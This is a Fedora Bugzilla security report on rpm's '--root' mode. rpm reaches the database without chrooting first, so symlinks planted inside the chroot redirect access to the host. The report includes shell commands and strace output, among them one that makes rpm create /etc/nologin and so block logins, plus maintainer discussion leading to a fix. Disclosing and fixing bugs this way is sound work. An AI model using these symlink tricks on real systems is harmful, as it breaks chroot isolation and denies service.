Bug 173285
| Summary: | Insecure '--root' operations | ||
|---|---|---|---|
| Product: | [Fedora] Fedora | Reporter: | Enrico Scholz <rh-bugzilla> |
| Component: | rpm | Assignee: | Paul Nasrat <nobody+pnasrat> |
| Status: | CLOSED RAWHIDE | QA Contact: | |
| Severity: | medium | Docs Contact: | |
| Priority: | medium | ||
| Version: | rawhide | CC: | pmatilai |
| Target Milestone: | --- | Keywords: | Reopened, Security |
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2007-07-03 09:56:25 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
A "malicious user with root rights" can get out of a chroot much
more easily than through rpm vectors by doing fchdir("..)".
Reducing the "Danger Will Robinson!!!!" security level to normal.
Wrong; there are existing secure chroots. E.g. look at http://linux-vserver.org; the current behavior is a real security risk there. rpm with db4 is not appropriate to your vserver environment then. Choose a different tool. I think this is a real security risk, too. It's very much unlike breaking out of chroots as the risk is there even if chroot-breaking-out would be prohibited otherwise (e.g. selinux or a even a pure non-root fakechroot environment). The answer is the same:
rpm with db4 is not the right tool if trying to use vserver's "secure chroots" and --root.
Copy packages into the chroot, and run rpm only from within
the chroot is one fix.
Using sqlite3 is another.
Fixed (by opening all non-temporaray indices before entering the chroot) in rpm cvs, will be in rpm-4.4.7 when released. UPSTREAM Should be fixed in 4.4.2.1 (rc) as well, similarly as in 4.4.7 |
Description of problem: When using '--root' rpm accesses the rpmdb directly without doing a previous 'chroot(2)'. This breaks functionality and opens attack vectors. E.g. a malicious user with root rights in the chroot could do a 'ln -s /var/lib/rpm /var/lib/rpm' and next 'rpm' operation on the host would access the host rpmdb. Example: | # d=/tmp/rpmtest | # rm -rf $d | # mkdir -p $d/var/lib | # ln -s /var/lib/rpm $d/var/lib/rpm | | # rpm --root $d -q rpm | rpm-4.4.1-22 | | # rm -f $d/var/lib/rpm | # ln -s /etc/nologin $d/var/lib/rpm/__db.002 | # rpm --root $d -q rpm | $ ssh londo | | Connection closed by 192.168.46.6 strace shows at the last command things like | stat64("/tmp/", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=340, ...}) = 0 | stat64("/tmp/rpmtest/", {st_mode=S_IFDIR|0755, st_size=60, ...}) = 0 | stat64("/tmp/rpmtest/var/", {st_mode=S_IFDIR|0755, st_size=60, ...}) = 0 | stat64("/tmp/rpmtest/var/lib/", {st_mode=S_IFDIR|0755, st_size=60, ...}) = 0 | stat64("/tmp/rpmtest/var/lib/rpm", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 | access("/tmp/rpmtest/var/lib/rpm", W_OK) = 0 | access("/tmp/rpmtest/var/lib/rpm/__db.001", F_OK) = 0 These operations should be executed after a previous 'chroot("/tmp/rpmtest")' (or the directories must be changed in a secure manner (but this is much more complicated than a chroot)) '-U' operations are accessing the root rpmdb too: | # strace rpm -U setup-2.5.44-1.noarch.rpm --root $d | open("/tmp/rpmtest/var/lib/rpm/Conflictname", O_RDONLY|O_LARGEFILE) = 6 | fcntl64(6, F_SETFD, FD_CLOEXEC) = 0 | fstat64(6, {st_mode=S_IFREG|0644, st_size=12288, ...}) = 0 | rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [], 8) = 0 | rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 | umask(022) = 022 | open("/var/lib/rpm/__db.000", O_RDWR|O_CREAT|O_LARGEFILE, 0644) = 7 Version-Release number of selected component (if applicable): rpm-4.4.1-22 How reproducible: 100%